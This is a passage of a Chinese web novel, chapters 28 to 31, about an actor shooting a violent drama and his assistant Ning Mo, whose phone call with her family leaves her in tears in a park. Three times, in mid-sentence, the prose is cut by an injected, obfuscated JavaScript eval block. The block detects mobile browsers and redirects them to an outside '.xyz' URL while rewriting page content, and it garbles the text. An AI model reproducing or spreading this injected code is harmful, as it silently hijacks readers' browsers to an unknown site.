他那双向来冷漠阴郁的眼睛开始发红，眼尾染上艳色，眼珠几乎没有眨过一下，就那么直直地望着地上已经死去的尤丽，少女的衣服被撕得粉碎，露在外面苍白的皮肤上、还有许多斑驳可怖的血迹。 …… 陈昌坐在监视器后，一边感叹着萧扬的演技，一边指挥着摄像移动镜头，全方位将萧扬的神情拍下来。 这条几乎一遍就过了。 刚结束，就有人鼓起掌，宁茉转头一看，竟然是海文成。 海文成就站在陈昌旁边看监视器的画面，点点头，十分满意：“陈导，有眼光啊，这小孩不错。” 陈昌得意地挑了下眉：“不错吧？我下部戏也有他。” 海文成冲他竖了下大拇指，随后转身朝着萧扬这边走过来。 宁茉转回头看萧扬，他还沉浸在戏里，低着头盯着地面，久久没有回神。 她只好小声提醒：“……海文成来了。” 萧扬回过神，抬头就看到海文成正站在自己面前：“你好。” 萧扬立刻起身和他握手，两个人聊了一会儿，宁茉移动到不远处，拿出手机开始拍摄。 就连宋依依都被她惊呆了：“天哪茉茉，你也太敬业了！我都忘了要拍花絮了。” “嘘。” 宁茉竖起食指放在嘴上，宋依依立刻懊恼地闭上嘴，做了个拉拉链的动作，从牙缝里低低地挤出一句：“我错了。” 海文成行程很繁忙，只在剧组待了一会儿就离开了，乔娜娜也走了，只剩魏瑶还在片场待着，好奇地看着萧扬拍戏。 体育场的戏准备起来麻烦，真正拍摄起来竟然也只要一个多小时就拍完了，天色完全黑了下来，众人转战校园的东门，这是个小门，这会儿学生已经都回去了，冷冷清清正适合拍戏。 这里的戏份也很简单，是阑牧跟着丁泽和尤丽到了学校门口，却被保安拦住不让进去，在门口起了争执，推搡了几下。 萧扬向来都是一秒入戏的，喊开始的瞬间就进入角色，一脸着急地要往校园里面跑，却被保安拽住衣领狠狠拉了出去。 推搡间，萧扬握住保安的警棍，一个转身就要冲过去，保安发了狠，猛地抽回警棍，朝着萧扬的背后打了几棍。 宁茉倒吸一口凉气，捏紧了手里的背包带子，警棍是橡胶的，但保安挥动的力道很大，砸在肩膀上发出沉闷的声响，声音很大。 就连宋依依也惊呆了，她捂住嘴，震惊的看着宁茉：“真……真打啊？” 宁茉的目光紧紧看着场中的人。 萧扬的神色没有变化，依旧在继续往下演，两个人拉扯了一阵，保安威胁要报警，最终还是把人赶走了。 这场拍完，现场换位置调灯光，萧扬摸着肩膀走到一边，还没走几步突然意识到什么，立刻放下了手。 但已经迟了，宁茉朝他跑过来，紧张地望着他，没说话，只是那双眼睛就让人明白她的担忧。 萧扬朝她轻轻摇了摇头，轻声开口：“没事。” “……”宁茉抿了抿嘴，把手里的保温杯递出去，“喝点热水。” 宋依依也担心地伸了个脑袋过来：“萧扬哥你肩膀还好吗？那个群演打的也太用力了吧！” “剧情需要。”萧扬为保安解释了一句，低头慢慢喝着水，宁茉注意到他的指尖有些发白，不知道是冻的还是疼的。 一个淡蓝色的纤细身影朝着几人走了过来，萧扬第一个注意到她，抬头看过去，正对上魏瑶的目光。 “你好，”魏瑶笑眯眯地朝着萧扬挥挥手，“我是魏瑶。” 萧扬立刻起身：“你好。” 魏瑶开口就是一堆赞赏：“你演的很好啊，感染力也好强，你是表演专业的吗？” 萧扬点点头。 魏瑶又好奇地问：“我以前好像看过你的剧，是叫……叫……什么城……” “《月牙城》。”一旁突然响起一个声音，声音很轻，但几个人都听到了。 萧扬猛地转过头，看着说话的宁茉，眼底微亮。 宁茉随口说完才意识到自己有点多话，低着头拧保温杯的盖子，没和萧扬对视。 “对对！《月牙城》！”魏瑶想起来，笑的很灿烂，“我很喜欢这部剧，难怪刚才看你就觉得眼熟。” 两个人聊了一会儿，宋依依八卦地看来看去，凑到宁茉身边，小声开口：“魏瑶这么有名的歌手竟然会主动来和萧扬搭话，看来萧扬哥魅力不浅哦~” 宁茉抬眼看了他们一眼，平静地低头继续整理着东西，她把保温杯放进背包里，摸了下背包夹层里的暖宝宝，还剩三个，王墨果然没贴完。 下一场戏开拍，萧扬走了过去，魏瑶索性坐在了他刚才坐的椅子上，继续围观。 宋依依眼睛睁大了一瞬，发出了浅浅的一声：“哦呦～” 连王墨都凑过来看热闹，偷偷看漂亮女明星。 魏瑶看了一会儿片场，目光转到萧扬的助理们，微微愣了一下：“诶？是你们。” 她认出来宁茉和宋依依了。 宋依依朝她挥挥手：“你好你好。” 魏瑶笑着点点头：“原来你们是萧扬的助理，不过……” 她的目光扫过宋依依，扫过宁茉，又扫过王墨，眨巴眨巴眼睛：“他……有三个助理？” “我们都是新招来的，还在实习期，”宁茉主动开口解释了，“来跟组学习经验。” “……哦，”这么一说魏瑶便理解了，又看了一眼她们，语气带了点调侃，“萧扬的助理们竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612121|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都这么漂亮，我好羡慕哦，要不分我一个，来给我当助理吧？～我看你就很好。” 她的目光直直落在宁茉身上。 魏瑶的助理是个年纪稍大戴着眼镜的女性，就站在她旁边，听到她的话，露出无奈的笑容。 宁茉顿了几秒，对上魏瑶热情又好奇的目光，终于还是忍不住开口：“那个，我……想问您一个问题。” 魏瑶：“嗯？你说你说。” 宁茉的眼神落在魏瑶包包上，她好奇了很久了，看魏瑶这么平易近人，就想问一问。 “您这个……”宁茉指向她包上的小挂件，“是哪个角色呀？” 那个Q版人物画的实在是太可爱传神了，宁茉不会画Q版，也羡慕那位画师能用这么简单的线条勾勒出这么可爱的画面，自从魏瑶过来，她的注意力就一直在那个小挂件上，而且她走近了才看清楚，那是个亚克力材质的流沙麻将，做工很精美，一层层的装饰和亮片，晃动时会闪闪发光，宁茉不太懂手工工艺，但她看着这个小挂件，总觉得不会便宜。 魏瑶显然没想到宁茉的关注点在自己包包上，顿时一愣，低头看了一眼，耳尖突然有点发红，眼睛眨的快了些。 “这个……”她语气有点支支吾吾的，“是个电影角色……” “哇，好可爱！”宋依依才看到那个小挂件，顿时也开始好奇，“看起来有点像……像海文成老师之前演的一个角色耶……” 魏瑶眼看被认出来了，就也不遮掩了，大方地笑笑：“是，他上部电影的角色，逢青。” 宋依依忙点点头：“对对对，逢青，那看来魏老师你很喜欢这个角色诶。” 魏瑶满脸不自然：“……嗯。” 宁茉跟着点点头，她没看过那部电影，难怪没认出来。 宋依依又问道：“这个好可爱呀，在哪里买的？我也想要。” 她一副认真求链接的样子，反倒让魏瑶尴尬了：“呃……不是买的，这个是我自己订做的。” “哦……”宋依依眨了下眼，目光转向宁茉，眼底瞬间闪过一丝热切，显然是在跟宁茉八卦之前她说过的传闻，魏瑶会自己去订做电影周边，还要随身带着，她真的很喜欢海文成。 宁茉扯了扯宋依依的衣袖，示意她视线收敛一点，自己则看向魏瑶，笑了笑：“画的很好，工艺也很精美，看得出来是用心做的。” “是吧！”魏瑶眼底一亮，“我找了一个特别有名的画师画的，这个流麻也是个圈里有名的太太，等了一个月呢，价格也不贵。” 宁茉点点头：“物有所值。” 魏瑶朝她比了个大拇指：“有眼光。” 她显然起了兴趣，还想继续和宁茉聊天，却被助理拽住，提醒她该回去了，明天还有别的行程。 魏瑶依依不舍地起身，和几个人挥挥手，去和陈昌、萧扬打了个招呼，又去了奶茶应援车那边，大概是打算和粉丝们一起收工。 她一走，宋依依立刻凑过来问道：“……流麻？太太？你们在说什么东西？我怎么听不懂？” “呃，这个……”宁茉想了想，解释道，“就是她包上那个挂件，是一种定制的工艺品，需要先找画师约一张画稿，然后……” 还没科普完，那边萧扬已经拍完了一场，朝着几个人走过来。 宁茉的注意力立刻转了过去，拿起羽绒服递给他：“拍完了？” “嗯，”萧扬揉了揉肩膀，套上羽绒服，眉眼间带了些倦怠，“我这边可以收工了，他们再补拍几个空镜。” 宋依依一喜：“那我们可以走啦？王墨，快去开车。” 王墨提着东西转身就走，宁茉则看向萧扬：“去医院。” “……”萧扬一怔，显然是差点忘了这一茬，又看了眼面前的两个女生，开口道，“那先让王墨送你们回酒店，我随后再去。” 宁茉摇摇头，语气淡淡的：“不行。” 宋依依也立刻反对：“不行不行，我们来这里就是为了晚上陪你去医院的，浦哥说要我们看好你，他马上就来。” “……”提到浦世诚，萧扬感觉太阳穴有点发胀，伸手点了点太阳穴，眼神有些闪烁，“他也要来？” “是啊，”宁茉直直盯着他，“他要亲自来看看，你的伤。” 她这句话重音放在“亲自”和“伤”上，明摆着是告诉萧扬：我们约束不了你，能约束你的人马上就来了，等着挨骂吧。 萧扬：“……” 他眼底带了些不情愿，最后挣扎着问了一句：“那……要不……” 一句话没说完，宁茉已经干脆利落地截断了他：“现在就去。” 萧扬：“……“ 29. 第 29 章 云城巫山医院，创伤外科。 萧扬和浦世诚在诊室里，三个助理等在外面，不约而同地朝里张望着，三颗脑袋按身高有序排列，宁茉是排在中间的那颗头。 萧扬坐在白色的诊疗椅上，脸上没什么表情，他没卸妆，鼻梁和嘴角的伤痕妆看起来十分真实，低头时稍长的刘海挡住他的眉眼，看起来颇有些可怜的意味，像是刚被人暴揍了一顿。 医生一边小心处理着他手上的伤口，一边忍不住开口：“来的有点晚，第一时间就该来的。” “听到没有！！！”浦世诚猛然拔高的声音瞬间塞满了整个诊室，连医生都吓了一跳，镊子一晃，酒精棉团啪嗒一下掉到了地上。 “自己受伤了不知道赶紧来医院吗？！啊？？？”浦世诚瞪大着眼睛，满脸都是愤怒，怒目直视着萧扬，两只手同时在空中比划，“手不要了？还有身上！身上怎么也这么多伤？这是拍戏还是要命啊！” “萧扬，老子一天不在你就出这么多意外，你要吓死谁啊！” “后面还有那么多场戏，你还能好好拍吗？！” “……”萧扬皱了下眉头，有些耳鸣，他想腾出手去揉揉耳朵，可惜两只手都在上药，只能轻轻晃了下脑袋，语气依旧平静，“是意外。” “意外意外！天天都有意外！你就是不知道保护自己！”浦世诚语气慷慨激昂，持续输出了足足有五分钟。 “你看看现在几点了！你一个人受伤！大家都得在这里加班！” 医生感觉自己也被列入了“大家”的行列里，忍不住轻声开口：“……没事，我本来今晚就要值夜班的。” 看着这么帅气的男演员被骂的一言不发，连医生都有点心疼。 浦世诚无缝衔接上医生的话：“还有三个小助理！他们为了等你连晚饭都没吃！你自己觉得合适吗！” 浦世诚非常知道从哪个角度能让萧扬吸取教训，萧扬是一个对自己很严格、对别人却格外宽容的人，只有让他意识到自己连累了别人，他才会介意这件事。 果然，萧扬目光一转，抬头看向诊疗室外的三个人。 三双脑袋同时摇头，表示自己没事：他们没吃晚饭是没错，但宁茉背包里什么吃的都有，大家都吃的差不多了。 “……带着他们去吃饭吧，”萧扬说道，“我请客，吃什么都行。” “没事没事萧扬哥，”宋依依小声说道，“我们在这里等你。” “我也没事，”王墨附和道，“不饿。” 萧扬的目光定在宁茉身上，宁茉一直在看自己，目不转睛地看着，似乎以为这里人多，自己不会注意到她。 “去吧，”萧扬转过头，这次是对着浦世诚说的，“这次是我的失误，我请他们吃饭。” “……”浦世诚气顺了顺，说道，“你本来就该请，行了，我先带他们过去，等会儿就回来。” …… 浦世诚找的是云城一家生意很好的大排档，此刻已近凌晨，店里却还十分热闹，他要了个包间，把几个小助理领进去：“随便点，这顿萧扬请客。” “谢谢浦哥！谢谢萧扬哥！”宋依依和王墨研究着菜单，宁茉则看向浦世诚，问道： “那萧扬呢？” 浦世诚挥挥手：“你们吃你们的，不用管他。” 话是这么说，几人坐下来没一会儿，浦世诚就回了医院，大概还是放心不下。 房间里只剩下三个人，煲汤和烧烤陆陆续续送上来，闻起来鲜香无比，即使本来不饿，这会儿肚子也开始叫了。 “茉茉你多吃点，”宋依依往宁茉碗里放了个鸡腿，“这几天太辛苦你了，不过没关系，明天你就可以休息啦！” 宁茉忙说道：“谢谢。” “客气什么！都是自己人！”宋依依笑眯眯地也给王墨倒了杯饮料，“这两天也辛苦你啦！” 王墨咬了两口肉，又忍不住说道：“不过说真的，萧扬哥太让我意外了，我原先以为他是那种脾气不好的大少爷，这段时间接触了才知道，原来他人这么好！” 宋依依点点头：“而且吃苦耐劳，敬业大方，还特别维护我们，简直太完美了！” 宁茉默默听着，小口小口吃着碗里的鸡肉。 宋依依满足地叹了口气：“第一份工作就能跟这样的人一起，我也太幸福了吧。” 说着她翻开手机，看最近几天拍的照片和视频：“对了茉茉，我这里还有些素材，一起发给你。” 王墨也掏出手机：“我最近也拍了几张照片，你们看看。” 他们三个分工很明确，宋依依和宁茉平时都会拍视频，让宁茉来剪，王墨则会带着相机拍一些专业的花絮照。 宋依依翻着翻着，看到推送的八卦新闻，顿时一愣：“嗯？这是……” 她点开一看，脸色顿时十分嫌弃：“这个乔娜娜也太会炒作了吧！简直是硬蹭。” 宁茉和王墨都看向她：“怎么了？” 宋依依把手机递过来：“诺，下午才见的面，这会儿绯闻都出来了。” 宁茉接过手机，王墨也凑过来看，是一家娱乐媒体发的乔娜娜和海文成的合影，合影里两个人言笑晏晏，乔娜娜神情举止都十分温柔，海文成也绅士有礼，乍一看会以为两个人关系很好。 王墨啧了一声：“她今天心思不在拍戏上，原来在想着怎么和海影帝搭上关系。” 宁茉也研究了一下构图：“这个摄影师还挺会拍的，现场明明那么多人，拍出的图倒像是只有他们两个人是中心，而且……还把魏瑶P掉了。” 若是清新漂亮的魏瑶在旁边，公众的注意力大概就不在乔娜娜身上了。 宋依依鄙夷地摇摇头：“不好好研究演技，只知道走歪门邪道，没前途。” 她转而又夸起了萧扬：“还是我们萧扬哥厉害，我相信《风暴降临》播出以后，萧扬一定会火的！” 宁茉也点点头：“是啊，萧扬……真的是很好的一个人。” 王墨将自己的手机也递过来：“对了，这是我最近几天拍的花絮，你们看看怎么样。” 不得不说王墨不愧是摄影专业的，审美很好，花絮照都拍得十分惊艳，光影和氛围把控的很好，原图就能拿出来用。 “好棒啊，”宁茉由衷赞叹道，“王墨，你可以做专业摄影师了。” 王墨脸色有些发红，扶了扶黑框眼镜：“其实……我从小的梦想就是做个摄影师。” “但是我现在技术不好，钱也不够，还需要很多很多练习。” “等我以后有钱了，买个好点的相机，多拍点好片子。” 宋依依鼓鼓掌：“你一定可以的！” 她举起两只手，握拳做了个加油打气的动作：“我们都要加油！好好工作，好好挣钱！实现梦想！” 连宁茉都被她感染，忍不住也握了下拳头：“实现……梦想！” 宋依依转头看向她：“对了茉茉，你的梦想是什么？” “……”宁茉一怔，眼神顿了一瞬，手慢慢放了下来。 宋依依歪着头，好奇地看着她，等着她的答案，王墨也朝她看过来。 宁茉垂眼想了一会儿，轻声说道：“……自由。” “啊？” “什么？” 两个人都没听明白，王墨忍不住重复道：“自由？就这样吗？” “是啊，”宁茉看着他们，一双眼睛亮晶晶的，专注而认真，“自由，仅此而已。” 宋依依眨眨眼，语气有些迟疑：“你……现在不自由吗？” “现在……”宁茉抿了抿嘴，很轻地笑了，“在努力了。” 宋依依和王墨对视了一眼，两个人眼底都带着些不解，却也不知道要不要继续问，直到宁茉自己开口。 “其实……来到这里，我很高兴。” 两个人同时看向她。 宁茉捏了捏自己的手指，很轻很慢地说道：“很高兴能来到萧扬工作室工作，也很高兴……能认识你们。” 这话是真心的，宁茉看着面前的两个人，眼神柔和下来，很浅地笑了笑。 宋依依立刻给了她一个灿烂的笑容：“我也很高兴能认识你，虽然我们认识的时间不长，但是茉茉，你真的是一个很好的人！” 王墨也举起手：“还有我，别忘了我。” “哈哈，”宋依依举起手机，“我们风暴三人组，齐心协力，一起加油！” 宁茉：“加油。” 王墨：“加油！” 当晚浦世诚没有再出现，他大概是直接把萧扬送回了酒店，三个人吃完打车回了酒店，宋依依洗漱完困得眼都睁不开，和宁茉聊着天，一转头便睡着了。 宁茉靠坐在床头，摸出平板，继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624535|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续画自己的画稿，最近她有空就会画，尽量把进度往前赶，但还是有幅画没什么思路，画了三版草稿，尽管约稿人对每一版都表示很满意，但宁茉还是全部否决了、推翻重画。 她买了一个很小的床头照明灯，把光亮的范围控制在一米以内，以免打扰到宋依依，雅雀无声的深夜中，只有她的画笔摩擦屏幕的细小沙沙声，听着像蚂蚁在沙漠上爬行，偶尔有几粒沙子顺着沙面滑下去，又随着风平滑地滚回来，寂静而又深沉。 宁茉对着板子画了三个多小时，酒店床头的电子表指针指到了“5”时，她终于有了一丝困意，放下平板，动作轻柔地躺下去。 这一觉睡了很久，宁茉再睁眼时，竟然看到了透过窗帘照进来的阳光。 她望着阳光愣了一会儿，意识到已经是早上了。 宋依依洗漱完正在绑头发，听到身后的声音，转过来看她：“茉茉？我吵醒你了是不是。” “没有，”宁茉笑了笑，“你准备出门了吗？” “嗯，浦哥说他们在楼下等我了，我得赶紧走，”宋依依拎起背包，转身就往门口跑，“拜拜！” “多穿点！”宁茉立刻喊道，“早上很冷。” 宋依依头也不回道：“好！我会注意的！” 房间里只剩宁茉一个人，她没了睡意，也起身开始收拾。 今天的云城似乎比昨天回暖了，宁茉出门时感受到风都变得柔和了些，她走到公交车站，沿着上次的路径去到了云城森林公园，公园里景色美、人又好，实在是个很适合画画的地方。 宁茉走到上次坐着的白色长椅上，这次她还带了个小毯子，盖在腿上，开始低头作画。 那幅一直没什么思路的画昨晚勉强画完了线稿，又卡在了上色，宁茉想了许久，不知为什么突然想到魏瑶包上的那个小挂机，她于是打开微博，在关注列表里搜了下那个画师。 画师最近又画了不少Q版人物图，神态传神，颜色鲜亮，宁茉看了几张，每一张都点了赞。 又刷到她发布的一个绘画过程，顺手点开看了会儿。 看着看着，宁茉突然拉回进度条，重新看对方上色时用的方法，眼底一亮，发觉原来还可以这样！ 她一向是自学绘画，在各个网站上找教程，再自己练习方法，东学一点西学一点，一直没有自己的体系，所以也容易在关键地方卡壳。 试着换了种笔刷，又调了几个她不常使用的颜色后，宁茉试着将这幅画一层层上色，直到画面完全呈现出来：墨色的海面翻滚、一身白衣的仙人持剑立在云端，黑白撞色呈现出鲜明的对比，闭目敛神的谪仙和风浪不息的背景动静分明，整幅画充满了张力。 宁茉松了口气，截了张小图，不太确定地发给了约稿人。 [茉莉无声]：您看看这样可以吗？ [摘棉花糖]：？？！！ ……宁茉眨了下眼，好熟悉的对话。 [摘棉花糖]：那个……太太，我确定一下，您一幅稿子是500对吧？我没记错吧？ [茉莉无声]：是呀，如果你觉得贵我还可以再画一个背景送给你。 [摘棉花糖]：…………………………………… 长久的沉默让宁茉有点不安，她换了种画法，也许对方不喜欢。 [茉莉无声]：有……什么问题吗？还可以改的。 [摘棉花糖]：啊啊啊啊啊！！！！ [摘棉花糖]：不是我的天呐您真的才500吗？？？？这个稿子我收着好心虚啊啊啊这也太好看了吧！！！ [摘棉花糖]：太太！！太太！！！！！ 宁茉：“……” 手机熟悉的疯狂震动让她知道，这幅画应该是问题不大了。 对方还在尖叫，要宁茉给自己留几张稿子的位置，而且自己提高了价格，像是生怕宁茉不接。 宁茉将稿子导出来发给她，愉快地点了收款，满脸都是轻松和高兴。 太好了，又完成了一张稿子。 手机还在震动，宁茉低头一看，助理群发来了新消息，是宋依依拍摄的现场花絮。 [宋依依：今天拍的警局戏耶，借用了云城巫山区警察局的场地，好多真实的警察叔叔！] [宋依依：萧扬，惨（小猫流泪.jpg）] [宋依依：（视频）（视频）] 30. 第 30 章 宁茉好奇地点开视频，她知道今天拍的是警局的戏份，阑牧失手打伤了校长儿子丁泽，被带到了警察局问话。 视频开头是萧扬垂着头站着，面前的演员穿着警服，正在斥责他。 饰演校长丁国盛的演员也走了过来，满脸怒气，刚走到萧扬面前，抬手就给了他一巴掌。 “啪！！！”的一声，清脆的声音隔着屏幕都传了出来，听的人心脏都能跟着一抖。 宁茉愣了一下，又点开了宋依依的下一个视频，这一段戏拍了四五遍，尽管演员一再收着力气，萧扬的脸也肉眼可见的红了。 “……” 宁茉看不下去，关掉了视频，长长地叹了口气，警局的戏份要拍两天，看来又是很难熬的两天。 但这部戏是萧扬自己选择接的，那他必定就做好了准备，宁茉并不担心他，只打算尽力地做好自己的工作。 手机又响了起来，那铃声是特殊设置的，宁茉一怔，低头看着来电界面上的备注——“妈妈”。 她自从离开家，还没有和母亲王海蓉联系过。 接了电话开了免提，就听到那头嘈杂的背景音，还有喜庆熟悉的音乐，王海蓉似乎在家门口的超市里。 王海蓉开口问道：“小茉，在哪儿呢？” 宁茉还没回答，另一个女人的声音冒出来：“小茉啊！去哪儿玩了，也不给家里打个电话。” 女人的声音有些耳熟，宁茉辨认了一下，似乎是自己的二姨。 宁茉：“我在云城。” “哦，云城啊，”王海蓉说道，“那里风景确实不错，不过你都出去快一个月了，准备什么时候回来啊？” “我……”宁茉声音低下去，“先不打算回去了，我想在外边找个工作。” “什么？？？”王海蓉一惊，“你要出去工作？不在莫城啦？” 宁茉：“嗯。” 王海蓉还没说话，二姨已经听到了她的话，立刻喊道：“诶呦！！你在外边找什么工作啊！工资又不高，还没人照顾你，在家里上班多好！” “家里亲戚都在，有什么事能互相照应，你出去外面一个人孤零零的，多可怜啊！” “要我说，海蓉你就不该答应她辞职，原先那个工作做的多好呢，出去相亲都有面子。” “现在她在外面能找到什么好工作，工作个几年年龄也大了，对象都找不到呦！” “快让她回来吧！” “……”宁茉闭上眼，把手机的免提按掉，拿的离自己远了些，等电话那边终于安静下来，才开口。 “妈，我已经打算好了。” 王海蓉的语气带了些责备，又透露着不解：“你这孩子，你怎么不早点跟我们说，你爸爸还等着你回来上班呢，他托关系给你找的工作，要是知道你不回来，得多生气啊！” “……爸那边，你帮我跟他说吧，”宁茉放柔了声音，“我想在外面待两年，不用担心，我能挣到钱的。” “不是钱的问题！”王海蓉说道，“你都24了，还不给自己打算打算吗？前两年你老说你工作忙不愿意相亲，现在有时间了，要抓紧考虑你的人生大事啊！” “在外面挣再多的钱有什么用，你没有一个稳定的家，以后怎么办？” “小茉，你别总想着出去看看，你爸给你规划的路不是挺好吗？” “你以前都很乖的，怎么现在……” 王海蓉喋喋不休地说着，显然是难以接受宁茉突然的变卦。 “妈，行了，”宁茉打断了她，语气逐渐变得冷硬，“你也说我24了，我自己会规划好我的人生，我这边还有事，先不说了。” “诶？？小茉！”王海蓉还要说话，宁茉一把挂断了电话，挂断的瞬间，还能听到二姨在那边抱怨。 …… 森林公园突然起了风，湖面原本有几只悠闲游着的白鸭，这么猝不及防被大风一吹，纷纷扑闪着翅膀躲到了树下，连宁茉搭在腿上的毯子都被风吹起了一个角。 她伸手去压住那一角，可风偏偏跟她较劲，这头按住了，毯子另一边又被吹得飘起来。 宁茉用力按了一会儿，突然自暴自弃般抬手，毯子瞬间被吹到了长椅的椅背上，她也不再去管，只是望着前面发呆，手机不知道什么时候掉到了地上，还在不断响铃，来电显示界面的人一直在变，但她没什么心思去看。 风越来越凉，刮在脸上像薄薄的冰刃，从右边滚向左边，如有实质般刮过她的鼻梁、嘴角。 宁茉缓慢地抬手，摸了摸脸，终于意识到，那不是冰刃，是她的眼泪。 “……”宁茉擦了擦眼睛，发现眼泪还在往下掉，她整个人像被突然断了电的机器，一片空白，只是很迟钝地想着。 她好像……很多年没有哭过了。 —— 云城，巫山区警局。 一上午的戏艰难拍完，所有人都松了口气，副导演费书山走到萧扬身边关心他：“没事吧？” 萧扬摇摇头：“没事。” 萧扬的脸有些发红，好在没有肿起来，化妆师正在用遮瑕膏努力遮那一片红晕。 “这几天实在是辛苦你了，”费书山满眼赞叹地看着他，“下午的戏少，早点拍完，你回去好好休息。” “嗯，谢谢费导。” 萧扬目光扫向场边，宋依依还在和浦世诚聊天，那个常见的角落少了一个熟悉的身影，他有些不适应。 宋依依看到他，朝他挥挥手：“萧扬哥，中午想吃什么？我们让王墨送过来。” 萧扬想了想：“中午休息时间长，出去吃吧。” 像是不经意般，他顺便说道：“带上王墨和宁茉，你们这几天辛苦了。” “好耶！”宋依依兴奋地点点头，“学校旁边有一家炒菜店特别好吃地道，这里的学生推荐我的！” 浦世诚有点纳闷，盯着他问道：“你今天不吃减脂餐了？” 萧扬避开他的目光：“……偶尔吃顿正经饭也没什么。” 余光注视着打电话的宋依依，却看到宋依依打了半天的电话，疑惑地低着头看手机。 “怎么了？”萧扬问她。 宋依依抬头看过来：“哦……王墨倒是联系上了，但是宁茉好像出去了，这会儿电话打不通，也不知道去哪里了，中午可能叫不到她了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636940|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧扬皱了下眉毛：“出去了？” “嗯，早上她跟我说她今天会出去转转，具体的地方没告诉我，”宋依依如实说道，“可能她那个手机信号不太好吧，我一直打不通电话。” 萧扬转身走到浦世诚面前，在浦世诚茫然的表情中，伸手在他口袋里拿出了自己的电话。 浦世诚：“诶？你拿手机干什么？” 萧扬没理他，自顾自解锁手机，点开通讯录，找到宁茉的电话拨了过去，却很快就听到了提示音： “对不起，您拨打的电话暂时无法接通……” 又打了两遍，收到的是同样的提示。 萧扬想了想，打开微信，又给宁茉发了个问号。 浦世诚旁观着他的操作，有点想笑：“人家今天休息，你干嘛非得找她？” “但她之前休息的时候，不是也会来片场么……”萧扬皱着眉，“今天怎么了？” 浦世诚翻了个白眼：“我的哥诶，人家一个女孩子，去哪儿还要跟你报备啊。” “再说了，现在是私人时间，总让人家来片场算怎么回事。” 萧扬神色发紧，垂眸沉默了许久。 浦世诚却觉得他小题大做：“没事，等会儿我再打给她，说不定就是手机没电了。” 萧扬猛地看向他，那目光看得浦世诚一凛。 “她在云城没有认识的人，一个人外出却突然联系不上，你不担心吗？我们带她来这里，就要对她的安全负责。” 浦世诚顿时一怔，听萧扬这么一说，他突然也觉得不太对劲，挠了挠头，转头看向宋依依。 “她这几天都去哪儿了？是不是去了锦华商场？那儿人多，经常没信号。” 宋依依想了想：“茉茉不爱逛商场，但她好像去过……那个什么公园。” “云城森林公园？”萧扬立刻问道。 “对，就是这里，”宋依依点点头，“她上次休息去了公园，但今天不知道有没有去那里。” “继续联系她，”萧扬顿了一下，看向浦世诚，“我们去找找她。” “现在？！”浦世诚立刻摇头，“不行，这里到云城森林公园起码要半个小时，且不说她在不在那里，光这一来一回的时间，你都赶不上下午的拍摄，《风暴降临》的拍摄任务这么重，一下午都耽误不了！” “可是……” “不行！”浦世诚拒绝的斩钉截铁，“真要找也只能我和王墨去，你不能去。” 萧扬安静了几秒，没有再和浦世诚争辩，只是转头朝外走，目光幽深。 “萧扬！你别乱来！” 浦世诚猛地拽住他，声音很大，惹得片场不少人朝他们看了过来。 宋依依见势不对，忙跑到他们旁边挡住一部分视线，紧张地扯了扯萧扬的校服袖子。 “萧扬哥你别急，我知道你担心茉茉，但是让我们先去找找看，而且……说不定她只是这会儿信号不好呢？说不定等下就联系上了。” 萧扬：“……” 他看了眼浦世诚，又看了眼不远处和警局领导聊天的费书山，突然转身，大步朝着费书山走了过去。 31. 第 31 章 云城巫山区，森林公园。 空无一人的小道上，宁茉慢慢地在石子铺就的小路上走着，风已经停了，阳光照在身上，终于多了点暖和的意味。 周围是一片低矮的灌木丛，黄绿色的叶片铺满视线，她漫无目的地走，自己也不知道要去哪儿，只是习惯性地散散步，平复一下心情。 说不上来心底是什么情绪，宁茉只觉得很累，大片的茫然像一层层纱包裹着她，对外界的感知都迟钝了几分。 直到耳边传来急促的脚步声，似乎身后有人正朝着她跑来。 宁茉没有回头，只是机械地往旁边挪了挪，给那个跑步的人让路。 下一秒，手腕猛地被人拉住，来自对方的巨大拉力让她脚步一顿，整个人被拽的踉跄了一下。 随之而来的是一声焦急的轻喊：“宁茉！” “……？” 宁茉呆呆抬头，正对上一双深褐色的眼瞳，那双眼幽深发红，满眼都是溢出的担忧：“你没事吧？” “……萧扬？” 有一瞬间，宁茉以为自己出现了幻觉，但手腕传来炽热的温度，又让她确定这不是幻觉。 萧扬额发被汗浸湿，校服衣领也是湿的，他一路从公园门口跑过来，这么冷的天硬是跑的满身热气，心跳都几乎沸腾。 不清楚宁茉到底去了哪儿，他只能顺着大路不停地找，直到在一片绿色中，看到那个熟悉的身影。 随后他毫不犹豫，朝着这边冲了过来。 …… 萧扬大口喘着气，死死攥着宁茉的手腕不放：“你怎么了？” 宁茉有点发懵，她不敢置信地望着眼前的人：“你……怎么会在这里？” 